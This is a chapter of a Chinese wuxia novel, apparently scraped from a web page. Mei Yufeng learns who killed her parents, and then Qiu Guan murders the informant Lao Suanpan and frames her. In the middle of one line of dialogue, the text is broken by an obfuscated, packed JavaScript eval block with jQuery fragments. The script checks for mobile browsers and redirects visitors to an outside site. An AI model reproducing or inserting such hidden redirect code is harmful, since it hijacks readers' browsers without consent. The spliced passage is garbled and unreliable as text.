梅遇风逐渐没了耐心,一拍桌子:
“你到底说不说?”
老算盘这才回过神来,勉强地笑了笑:“那件事我也略知一二,不过你确定要知道?”
他有些犹豫,到底要不要告诉面前这个已然名震江湖的少女,她父母惨死的真相。当初的惨案他无法阻止,也没有那个勇气去给那对夫妇一个提醒。如今风水轮流转,他们的女儿就站在他面前,难道要看着这一家子都要被碾死在江湖的洪流之中吗?
“你若快点说,我还能考虑一下要不要留你的小命。”梅遇风冷着脸。
可是在老算盘眼中,就只能浮现出年少时那两位曾经一同饮酒取乐的伙伴。
他们夫妇曾经也是一对江湖鸳鸯,可惜这么恩爱的一对,没有死在时间手里,而是死在了恶人的手中。
“十年前那件事,是青玉门的邱琯和断刀门的狄筠二人合谋……”老算盘忽然没有继续,他似是沉浸在了往事之中。那双像是蛇一样的毒眼,竟也会有温情流露。
元复听出了几分不对劲,十年前的邱琯和狄筠都已经是两大门派的门主,如果只是普通的一家农户夫妻,怎么会招惹上这两个人?
他追问了下去:“当年到底是怎么回事,怎么会和他们两人扯上关系?”
老算盘并没有回答元复,而是看向梅遇风:
“你的父母并非是普通农人,你可清楚?”
梅遇风愣了愣,她并不知道这件事,她有些迟疑地开口:
“你认识他们?”
“不仅是认识,还曾是至交好友。”
可是这句话,老算盘自己都觉得讽刺。他原是有机会能拦下邱、狄二人的,可他没有。
从老算盘的口中,梅遇风听到了来自二十年前的剑鸣……
“你的父亲是江湖中有名的浪子,萧十三郎。当年我们也算是志趣相投,我们都爱女人,都爱美酒。
“我虽然年长他几岁,和他却是无话不谈的好友。
“他同样也使得一手好剑。剑尖一转,不知勾得多少少女对他芳心暗许。曾几何时,我也曾妒忌过他的女人缘啊。”
老算盘笑了笑,他仿佛也回到了曾经的青葱岁月,两个少年人仗剑天涯,对月饮酒,好不痛快!
“不过浪子也会为佳人倾倒。你的母亲虽然只是个普通医女,却有一副好心肠,这一点足以胜过世上大多数的人了。
“一对有情人走在一起,还有了孩子,当然就想要避开江湖中这些打打杀杀。
“只可惜,你一日是江湖人,就一辈子也别想逃过生在江湖,死在江湖的宿命。”
老算盘的声音有些凄凉,甚至他细长的双目中,都沁出几点湿润。
“江湖中顶顶有名的‘浪子剑’,终究也是葬在了江湖之中。”
萧十三郎,甚至没有活过三十三岁。
老算盘忽然紧紧抓着梅遇风的手,声音已然染上泪意:
“你的母亲名叫梅若云,我当初也受过她的恩惠。只恨我当时太年轻,只看重些不重要的声名利益,却丢了最紧要的情义二字。”
“若要为他们报仇,你可得想清楚了。你是他们的孩子,自是有着忠肝义胆。”
“可若是让我看着你去送死,我就是到了九泉之下,也没脸见他们。”
梅遇风看着眼前这个老人,心中百感交集。他当初也是冷眼旁观的一个,可是这么多年来,他心里的愧疚,懊悔早就将他折磨得人不人鬼不鬼。这笔帐又该怎么算?
梅遇风没有挣开老算盘的手,她的心里也早有答案。就算是要送死,她也必须去会一会邱、狄二人:
“多谢你的好意,可是这仇,我是一定要报的。”梅遇风的声音很坚定,每一字都是她的真切心声,也是她的宣告。
老算盘叹了口气,果然就是他想避开这些因果报应,这个天也不会允许的:
“邱琯要去杀了萧十三郎,是因为他的妻子谢沨。
“当初谢沨也对萧十三郎有意,不过这两人的脾气实在合不来,谢沨一气之下便嫁给了邱琯。
“可是邱琯怎么能忍受得了自己的枕边人日日夜夜都想着别的男人?
“他和狄筠约好,二人一同出手对付萧十三郎,再加上他们带去的随从,自然就万无一失。”
元复听得皱了眉,邱琯和狄筠二人的关系并算不得亲近,如何会让他们两个合谋,就是为了要杀死一个退隐江湖的剑客:
“那狄筠的目的呢?断刀门和萧十三郎似乎并没有什么过节。”
“这事我也一直心存疑虑,我与萧十三郎也是十几年的好友,却也从未听说他和狄筠有何过节。这事情恐怕只有他们自己才清楚了。”
……
直到走出了乔方居,梅遇风都还有些恍惚。她从未想过自己的父母会是这样精彩的江湖人物,也许从她一出生开始,就不可避免地要卷入江湖的波涛汹涌之中了。
“老算盘刚刚说了,明天有一批货要运去青玉门,我们可以随同前往。至少先去探探邱琯的底细。”元复道。
“你觉得,他说的都是真话吗?”刚刚老算盘情真意切的模样,就连梅遇风都难辨真假。
“十句里头有一句是真的不就行了?据我所知,萧十三郎年轻时确实和谢沨有过一段情,邱琯这么小肚鸡肠的人,为了一时意气出手也不出奇。”
元复摆了摆手,拖着梅遇风进了对面的酒楼:
“今天先吃好喝好,至于这些烦心事,留到明日再说吧。”
酒楼中的人很多,他们坐到角落的一个位置,却忽然听到不远处传来一阵骚动。
有三个身着黑衣的人走了进来:一个瘦的跟猴子一样,手持两轮弯月刀;一个鼻子像是鹰钩一样挂在脸上,颊边是卷曲的金发,这竟是个外邦人;最后一个,是个年轻人,背后束着一柄大刀,刀柄上还有三个小圆环挂着,随着他走路的时候叮叮作响。
一落座,那个瘦猴便怪声怪气地开口:
“你们这里可有好酒?”
“这当然是有的。”伙计拉下颈间的汗巾,一边擦着桌子,一边答道。
“我瞧你似乎是看不起我。”这句话一落地,那瘦猴手上的一轮弯月刀就扣着伙计的汗巾,死死钉在桌子上。
而这轮弯月刀,仅仅离那个伙计的手指头一寸远。
伙计被吓得出了一身冷汗,嘴巴嗫嚅了半天,也没说出一句话来。
外邦人有些不赞同地皱了皱眉,示意伙计先下去,一双碧绿的眼眸瞧着瘦猴:
“行事如此粗俗,别污了大人在外的名头。”
说来也怪,这个外邦人说着一口流利的官话,除了头顶上的金黄卷毛,举手投足也和汉人无异了。
年轻人不屑地轻嗤一声,往桌子上拍了几粒碎银子,大声嚷道:<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16689131|188869||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
“一坛九州的烧刀子,快手些!”
伙计很快就上了一坛酒,甚至还送了碟下酒菜给他们。至于桌上的银子,他是手也不敢伸过去拿。
一张四人的桌子,还有一张椅子空荡荡。
外邦人喝不惯这烧刀子,三个杯子一个给了年轻人,一个给了瘦猴,还有一个给了那个空椅子。
“他还有多久才来?”瘦猴问道。
“他向来随心所欲,旁人催不来他。”外邦人淡淡道。
“他若是不来了呢?”瘦猴又问。
“他来不来,这桩事我们也得干的。”年轻人回道。
这桩事是什么?还未落座的那位又是谁?他们没有继续聊。
接下来的一个时辰,他们就是在喝酒吃肉,竟没有一人再提起刚刚的话题。
……
两条街之远的乔方居,老算盘正打算关门了。
今日的事情太多,他还需要好好整理整理……
忽然,一只大手阻碍了即将关上的木门,这只手看着有些细弱,像是个书生的手。
“老算盘,我找你还有事。”说着,他便走进了乔方居。
而来人,竟是青玉门的门主,邱琯。
老算盘在见到他的第一眼,血就好似凝固了一样。十年前,也是这样的场景。
老算盘干干笑着:“我倒是没想到你会过来。”
“你只需要知道,我来找你是因为有紧要的事情便行了。”邱琯倒出壶中的茶,轻轻抿了口。茶是凉的。
“你今天还有客人?”邱琯随口问道。
“乔方居来来往往的客人很多。”老算盘的汗不自觉地在额角沁出,他握紧了袖中的小刀。
邱琯淡淡看了眼老算盘,这一眼仿佛就要将他所有的伪装都看穿了。可他并没有说出口。
“我这次来不是买东西的。”邱琯道。
“那你此次前来,所为何事?”老算盘道。
“我要你送些消息出去。”
“什么消息?”老算盘的心里有些紧张,他隐隐感到这个消息不会是个好消息。
“听风剑谱再次现世,在梅遇风之手。”
“这生意,我做不了!”
这话属实是出乎邱琯的意料之中。他那双眼睛看了老算盘好久,老算盘的汗也不断渗出,双手已是不自觉地颤抖着。
“你当真不做这门生意?”邱琯再次问道。
“不做!”老算盘咬紧了牙关,随时准备抽出袖中的那柄小刀。那件事折磨了他十年之久,他不能一错再错!
邱琯没有再说话,只是长长叹了口气。
下一刻,他身边的长剑猛地抽出,一剑刺穿了老算盘的咽喉!
老算盘袖中的小刀“叮”的一声落地,他就再也没了声响。
邱琯缓缓抽出长剑,动作很慢很慢。他不会让无关紧要的血染污自己的衣裳,他做事一向很谨慎。
“真是疯了,送上门的生意也不做。”
邱琯在老算盘的衣服上蹭了蹭剑上的血,目光看到柜台上放着的纸张,忽然有了主意。
不出三时,他就走出了乔方居,细心地掩上了门。
那张用血写满大字的纸,正横尸于老算盘身上:
“梅,杀我。夺取听风剑谱——”
兜兜转转,老算盘还是为十年前的退缩付出了代价。血的代价。